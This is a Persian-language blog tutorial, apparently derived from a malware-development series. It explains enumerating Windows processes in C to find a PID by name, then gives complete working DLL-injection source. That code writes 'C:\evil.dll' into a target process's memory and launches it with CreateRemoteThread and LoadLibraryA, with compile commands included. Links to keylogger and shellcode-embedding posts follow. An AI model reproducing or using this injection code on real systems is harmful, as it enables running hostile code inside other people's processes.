پیدا کردن PID بر اساس اسم پروسه در C

هر برنامه یا فایل اجرایی ، وقتی در سیستم عامل اجرا شود یک پروسه (Process) به ازای آن ساخته شده است . به عبارتی پروسه ها برنامه های درحال اجرا هستند  . سیستم عامل ها برای مدیریت این پروسه ها یک شناسه عددی به نام Process Identification (PID) به آن ها اختصاص میدهند.  در اکثر حملات تزریق کد یا DLL ما نیاز به دانستن PID پروسه مقصد داریم . بنابراین حیاتی است که بتوانیم کدی بنویسیم که هوشمندانه PID پروسه های درحال اجرا در سیستم عامل را پیدا کند …

سرشماری پروسه ها در سیستم

به کد زیر دقت کنید :

 

/*
simple process find logic
author: @cocomelonc
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>

// find process ID by process name
int findMyProc(const char *procname) {

  HANDLE hSnapshot;
  PROCESSENTRY32 pe;
  int pid = 0;
  BOOL hResult;

  // snapshot of all processes in the system
  hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  if (INVALID_HANDLE_VALUE == hSnapshot) return 0;

  // initializing size: needed for using Process32First
  pe.dwSize = sizeof(PROCESSENTRY32);

  // info about first process encountered in a system snapshot
  hResult = Process32First(hSnapshot, &pe);

  // retrieve information about the processes
  // and exit if unsuccessful
  while (hResult) {
    // if we find the process: return process ID
    if (strcmp(procname, pe.szExeFile) == 0) {
      pid = pe.th32ProcessID;
      break;
    }
    hResult = Process32Next(hSnapshot, &pe);
  }

  // closes an open handle (CreateToolhelp32Snapshot)
  CloseHandle(hSnapshot);
  return pid;
}

int main(int argc, char* argv[]) {
  int pid = 0; // process ID

  pid = findMyProc(argv[1]);
  if (pid) {
    printf("PID = %d\n", pid);
  }
  return 0;
}

تابعی تعریف کرده ایم به اسم findMyProc که یک رشته در ورودی به عنوان اسم پروسه مورد نظر میگیرد و PID آن پروسه (اگر وجود دارد) را برمیگرداند .

ابتدا نگاهی به داخل تابع main بیندازیم :

int main(int argc, char* argv[]) {
  int pid = 0; // process ID

  pid = findMyProc(argv[1]);
  if (pid) {
    printf("PID = %d\n", pid);
  }
  return 0;
}

اسم پروسه مورد نظر را به عنوان پارامتر اول برنامه (argv[1]) گرفته ایم و آن را به تابع findMyProc پاس داده ایم . نتیجه تابع که یک عدد صحیح int است را در متغییر pid ذخیره کرده ایم . سپس در خط ۵ چک شده است که آیا PID مورد نظر معتبر است یا نه زیرا ممکن است پروسه ای که دنبال آن بوده ایم در حال اجرا نبوده و در نتیجه تابع findMyProc عدد صفر را برگردانده باشد .

و اما داخل تابع findMyProc :

int findMyProc(const char *procname) {

  HANDLE hSnapshot;
  PROCESSENTRY32 pe;
  int pid = 0;
  BOOL hResult;

  // snapshot of all processes in the system
  hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  if (INVALID_HANDLE_VALUE == hSnapshot) return 0;

  // initializing size: needed for using Process32First
  pe.dwSize = sizeof(PROCESSENTRY32);

  // info about first process encountered in a system snapshot
  hResult = Process32First(hSnapshot, &pe);

  // retrieve information about the processes
  // and exit if unsuccessful
  while (hResult) {
    // if we find the process: return process ID
    if (strcmp(procname, pe.szExeFile) == 0) {
      pid = pe.th32ProcessID;
      break;
    }
    hResult = Process32Next(hSnapshot, &pe);
  }

  // closes an open handle (CreateToolhelp32Snapshot)
  CloseHandle(hSnapshot);
  return pid;
}

تابع بسیار مهمی به نام CreateToolhelp32Snaphot در Windows API وجود دارد که وظیفه ی آن سرشماری بخش های مختلف سیستم از جمله پروسه های درحال اجرا است . در خط ۹ این تابع را فراخوانی کرده ایم و پارامتر TH32CS_SNAPPROCESS که به آن پاس داده ایم مشخص کننده این است که میخواهیم پروسه های سیستم را سرشماری کنیم . نتیجه این تابع یک HANDLE به سرشماری انجام شده است که در تابع hSnapshot ذخیره کرده ایم .

وقتی یک سرشماری توسط CreateToolhelp32Snapshot گرفتیم ، میتوانیم با فراخوانی تابع Process32First روی این سرشماری انجام شده ، اولین پروسه موجود را دریافت کنیم و پس از این هربار تابع Proccess32Next را فراخوانی میکنیم اطلاعات پروسه بعدی از این سرشماری را به ما تحویل میدهد . نهایتا وقتی همه ی پروسه ها توسط تابع Process32Next دریافت شدند ، دفعه بعد که آن را فراخوانی کنیم ،‌مقدار false را برمیگرداند . هر بار که میخواهیم اطلاعات پروسه بعدی را توسط توابع Process32First یا Process32Next دریافت کنیم ، این توابع اطلاعات را در یک ساختار PROCESSENTRY32 برای ما قرار میدهند .در خط ۴ یک شیء از ساختار PROCESSENTRY32 به نام pe ساخته ایم و در خط ۱۳ عضو dwSize از آن را مقدار دهی کرده ایم (ضروری است) .

در خط ۱۶ اولین پروسه را از سرشماری که انجام شد دریافت کرده ایم :

hResult = Process32First(hSnapshot, &pe);

در پارامتر اول شیء مربوط به سرشماری ای که میخواهیم پروسه های آن را بیرون بکشیم را مشخص کرده ایم . در پارامتر دوم نیز یک اشاره گر به ساختار PROCESSENTRY32 را پاس داده ایم تا اطلاعات پروسه موردنظر مثل PID آن در آن ذخیره شود .

نهایتا در خطوط بعدی توسط تابع Process32Next تک تک پروسه های بعدی را به همین روش دریافت کرده و برای هرکدام چک کرده ایم که آیا اسم آن برابر اسمی هست که ما دنبال آن هستیم یا نه . اگر بود PID آن را به عنوان خروجی برگردانده ایم :

// retrieve information about the processes
  // and exit if unsuccessful
  while (hResult) {
    // if we find the process: return process ID
    if (strcmp(procname, pe.szExeFile) == 0) {
      pid = pe.th32ProcessID;
      break;
    }
    hResult = Process32Next(hSnapshot, &pe);
  }

  // closes an open handle (CreateToolhelp32Snapshot)
  CloseHandle(hSnapshot);
  return pid;

نهایتا کد را compile میکنیم تا صحت کارکرد آن را بررسی کنیم :

i686-w64-mingw32-g++ hack.cpp -o hack.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

برای مثال ، پروسه mspaint.exe را چک میکنیم :

.\hack.exe mspaint.exe

تزریق DLL با بهره گیری از کد نوشته شده

در پست “تزریق DLL کلاسیک (DLL Injection)” به بررسی الگوریتم تزریق DLL کلاسیک پرداختیم که در نتیجه آن یک فایل DLL دلخواه در پروسه مقصد بارگذاری و کد آن اجرا میشد . اگر یادتان باشد در کدی که مینوشتیم ، PID پروسه مقصد را خودمان دستی به برنامه میدادیم . حالا میخواهیم آن را طوری ویرایش کنیم که PID را خود کد توسط تابع findMyProc که بالاتر نوشتیم پیدا کند:

/*
simple process find logic
author: @cocomelonc
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>

char evilDLL[] = "C:\\evil.dll";
unsigned int evilLen = sizeof(evilDLL) + 1;

// find process ID by process name
int findMyProc(const char *procname) {

  HANDLE hSnapshot;
  PROCESSENTRY32 pe;
  int pid = 0;
  BOOL hResult;

  // snapshot of all processes in the system
  hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  if (INVALID_HANDLE_VALUE == hSnapshot) return 0;

  // initializing size: needed for using Process32First
  pe.dwSize = sizeof(PROCESSENTRY32);

  // info about first process encountered in a system snapshot
  hResult = Process32First(hSnapshot, &pe);

  // retrieve information about the processes
  // and exit if unsuccessful
  while (hResult) {
    // if we find the process: return process ID
    if (strcmp(procname, pe.szExeFile) == 0) {
      pid = pe.th32ProcessID;
      break;
    }
    hResult = Process32Next(hSnapshot, &pe);
  }

  // closes an open handle (CreateToolhelp32Snapshot)
  CloseHandle(hSnapshot);
  return pid;
}

int main(int argc, char* argv[]) {
  int pid = 0; // process ID
  HANDLE ph; // process handle
  HANDLE rt; // remote thread
  LPVOID rb; // remote buffer

  // handle to kernel32 and pass it to GetProcAddress
  HMODULE hKernel32 = GetModuleHandle("Kernel32");
  VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");

  // get process ID by name
  pid = findMyProc(argv[1]);
  if (pid == 0) {
    printf("PID not found 🙁 exiting...\n");
    return -1;
  } else {
    printf("PID = %d\n", pid);
  }

  // open process
  ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));

  // allocate memory buffer for remote process
  rb = VirtualAllocEx(ph, NULL, evilLen, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

  // "copy" evil DLL between processes
  WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);

  // our process start new thread
  rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)lb, rb, 0, NULL);
  CloseHandle(ph);
  return 0;
}

تمامی کد بالا در پست مربوط به تزریق DLL توضیح داده شده و تنها تفاوتی که اینجا حاصل شده این است که به جای PID ، فقط اسم پروسه مقصد را در پارامتر اول برنامه (argv[1]) گرفته ایم و PID آن توسط تابع findMyProc در کد پیدا میشود .

کد را compile میکنیم :

x86_64-w64-mingw32-gcc -O2 hack2.cpp -o hack2.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive >/dev/null 2>&1

تزریق DLL را روی پروسه mspaint.exe انجام میدهیم :

.\hack2.exe mspaint.exe

پست های مرتبط

مطالعه این پست ها رو از دست ندین!

ساخت KeyLogger ویندوزی با استفاده از Hooking

در این قسمت به بررسی یکی دیگر از روش های مرسوم ساخت کیلاگر های ویندوزی خواهیم پرداخت . اگر مشاهده کرده باشید در یکی از ویدیو های قبلی بررسی کردیم یکی از روش های ساخت کیلاگر استفاده از تابع GetAsyncKeyState بود . در این روش از مکانیزم Hooking ویندوز برای ساخت کیلاگر استفاده میکنیم .

بیشتر بخوانید
KeyLogger کیلاگر

ساخت KeyLogger با استفاده از GetAsyncKeyState

آنچه در این پست میخوانید مارا دنبال کنید یکی از روش های مرسوم و اولیه برای پیاده سازی KeyLogger ها…

بیشتر بخوانید

جاسازی Shellcode در فایل اجرایی exe

در اینجا میخواهیم ببینیم چطور میتوان یک Shellcode را در یک فایل اجرایی ویندوزی جاسازی کرد به طوری که با اجرای فایل اجرایی آلوده ، ابتدا Shellcode به صورت مخفیانه اجرا شده و سپس محتوای عادی فایل اجرایی شروع به اجرا شدن میکنند طوری که همه چیز عادی به نظر برسد .

بیشتر بخوانید

نظرات

سوالات و نظراتتون رو با ما به اشتراک بذارید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

حسین صدقی ۱ اردیبهشت ۱۴۰۲

سلام استاد
وقت بخیر
مطلب خیلی خوب و مفیدی بود.
درسته که من کارم با پایتون هست اما مطالعه این مطالب باعث میشه که ما با زبان های دیگه هم آشنایی داشته باشیم.
خیلی خوشحالم که با سایت شما آشنا شدم.

لطفا یک مقاله راجع به روت کردن گوشی اینکه چرا بعضی از برنامه ها نیاز به روت گوشی دارند و … در سایت قرار دهید.
خیلی ممنون از زحمات شما
خدا نگهدار

حسین احمدی ۱ اردیبهشت ۱۴۰۲

سلام دوست عزیز .
ممنون سلامت باشید .
بله راجع بهش صحبت میکنیم .
خواهش میکنم .